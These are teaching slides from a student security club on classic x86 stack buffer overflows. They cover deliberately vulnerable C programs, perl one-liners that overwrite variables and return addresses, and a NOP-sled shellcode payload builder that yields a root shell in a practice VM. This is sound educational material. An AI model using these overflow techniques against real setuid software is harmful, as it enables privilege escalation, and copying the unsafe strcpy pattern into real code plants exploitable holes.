Stack Overflows

Mitchell Adair
Outline

- Why?
- What?
- There once was a VM
- Virtual Memory
- Registers
- Stack
- stack1, stack2, stack3
- Resources
Why?

- Real problem
  - Real money
  - Real recognition
  - Still prevalent

- Very valuable skill set
  - Extends into format strings, heap exploitation, etc.
What?

- Overwriting adjacent memory on the stack
- In the case of a buffer overflow... by writing more memory that allocated
There once was a VM

- All these challenges, plus more
- Going to put future material on here as well
  - Ubuntu virtual machine (vmware)
  - Challenges, solutions, etc...
  - utdcsg.org
  - Don't give up! Join us in irc for questions
Virtual Memory

- **Text**: Code segment, machine instr.
- **Data**: Initialized global and static variables
- **BSS**: Uninitialized global and static variables
- **Heap**: Dynamic space. malloc(...) / free(...) / new(...) / ~
- **Stack**: Program scratch space. Local variables, pass arguments, etc.
## Registers

<table>
<thead>
<tr>
<th>Register</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>EIP – Extended Instruction Pointer</td>
<td>Next Instruction executed</td>
</tr>
<tr>
<td>ESP – Extended Stack Pointer</td>
<td>Top of stack</td>
</tr>
<tr>
<td>EBP – Extended Base Pointer</td>
<td>Base pointer</td>
</tr>
<tr>
<td>EAX</td>
<td>Accumulator register</td>
</tr>
<tr>
<td>EBX</td>
<td>Base register</td>
</tr>
<tr>
<td>ECX</td>
<td>Counter register</td>
</tr>
<tr>
<td>EDX</td>
<td>Data register</td>
</tr>
<tr>
<td>ESI</td>
<td>Source index</td>
</tr>
<tr>
<td>EDI</td>
<td>Destination Index</td>
</tr>
</tbody>
</table>
The Stack

- ESP
- EBP
- RET

local variables

arguments...
previous stack frame

EBP - x
EBP + x
# stack1.c

```c
int main(int argc, char *argv[]) {

    int allowed = 0;
    char name[100];

    strcpy(name, argv[1]);

    if (allowed == 0xabcd1234)
        execl("/bin/sh", "sh", NULL);

}
```
Writing down the stack

ESP

char name[100]

allowed = 0

EBP

RET

argc

*argv[]
...writing down the stack

ESP

EBP

104 bytes of data

0xabcd1234

100 bytes

4 bytes

4 bytes

4 bytes

argc

*argv[]
Defeating stack1

$ ./stack1 $(perl -e 'print "A" x 103')

allowed at 0xbffff44c with value 0x00000000
name at 0xbffff3e8

sorry, not this time. allowed = 0x00414141
... Defeating stack1

$ ./stack1 $(perl -e 'print "A" x 100 . "\x34\x12\xcd\xab"')

# id
uid=1000(csg) gid=1000(csg) euid=0(root)

104 bytes of data

0xabcd1234
int main(int argc, char *argv[]) {

    char name[100];
    int allowed = 0;

    strcpy(name, argv[1]);

    if (allowed == 1)
        execl("/bin/sh", "sh", NULL);

}
Controling eip

- We can still control program execution
- EIP gets popped off the stack during `ret`

The `ret` instruction:

Pop eip

Pops the value off the top of the stack (esp) into eip
...where to jump?

- How about directly after the if...

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0804847d</td>
<td>cmp</td>
<td>[esp+0x7c],0x1</td>
</tr>
<tr>
<td>0x08048482</td>
<td>jne</td>
<td>0x080484b7</td>
</tr>
<tr>
<td>0x08048484</td>
<td>mov</td>
<td>[esp+0x8],0x0</td>
</tr>
<tr>
<td>0x0804848c</td>
<td>mov</td>
<td>[esp+0x4],0x8048580</td>
</tr>
<tr>
<td>0x08048494</td>
<td>mov</td>
<td>[esp],0x8048583</td>
</tr>
<tr>
<td>0x0804849b</td>
<td>call</td>
<td>0x8048364 <a href="mailto:execl@plt">execl@plt</a></td>
</tr>
<tr>
<td>0x080484b7</td>
<td>leave</td>
<td></td>
</tr>
<tr>
<td>0x080484b8</td>
<td>ret</td>
<td></td>
</tr>
</tbody>
</table>

We can't make it past this jump

If (value == 1) {
    ...
    ...
    ...
    execl('/bin/sh')
}

return

But, we could overwrite eip (ret) to jump to here
Defeating stack2

```
$ ./stack2 $(perl -e 'print "A" x 108 . "\x84\x84\x04\x08")

sorry, not this time
AAAAAAA
AAA
AAA
AAA
AAA
AAA
AAA
AAA
AAACLUS
# id
uid=1000(csg) gid=1000(csg) euid=0
```
int main(int argc, char **argv) {

    char name[100];
    strcpy(name, argv[1]);

}

There's no point of interest to jump to. We'll have to create our own.

We have roughly 100 bytes to work with...
Creating a Payload

ESP

EBP

RET

(argc *argv[])

4 bytes

4 bytes

4 bytes

100 bytes
// fill the whole thing with the return address
for(i = 0; i < 152; i+= 4)
    *((unsigned int *)(command + i)) = ret;

Fill the entire payload with the ret address, pointing to the beginning.
Defeating stack3 - 2

// place the NOP sled for the first 60 bytes
memset(command, 0x90, 65);

Fill the first X bytes with the NOP sled.
// place the shellcode after NOP sled
memcpy(command + 65, shellcode,sizeof(shellcode)-1);

Place the shellcode after the NOP sled
- this is the actual thing to be executed in the payload.
The full payload

ESP

NOP sled

Payload (/bin/sh)

EBP

ret

100 bytes

4 bytes

4 bytes

4 bytes

argc

*argv[]
int main(int argc, char *argv[]) {
    char command[152];

    /* create a local variable i for reference, 
    set the ret value to i's address, minus some offset */
    unsigned int i, ret, offset = 60;

    /* fill the whole thing with the return address */
    for(i = 0; i < 152; i+= 4)
        *((unsigned int *)(command + i)) = ret;

    memset(command, 0x90, 65); // place the NOP sled for the first 60 bytes

    // place the shellcode after NOP sled
    memcpy(command + 65, shellcode, sizeof(shellcode)-1);

    execl("./stack3", "stack3", command, (char *)NULL);
}
Just for completeness...

$ ./a.out

# id
uid=1000(csg) gid=1000(csg) euid=0(root)
This is all available...

- On the CSG Ubuntu virtual machine
  - Challenges
  - Solutions
  - utdcsg.org
    - Hop in irc if you have questions
    - Don't just look at the solutions ;)

- Slides + individual vuln#.c files
  - utdcsg.org
Resources

- utdcsg.org
  - Of course...
- Art of Exploitation
  - Awesome book... go buy it, seriously.
- smashthestack.org
  - Great wargames, exactly the same kind of challenges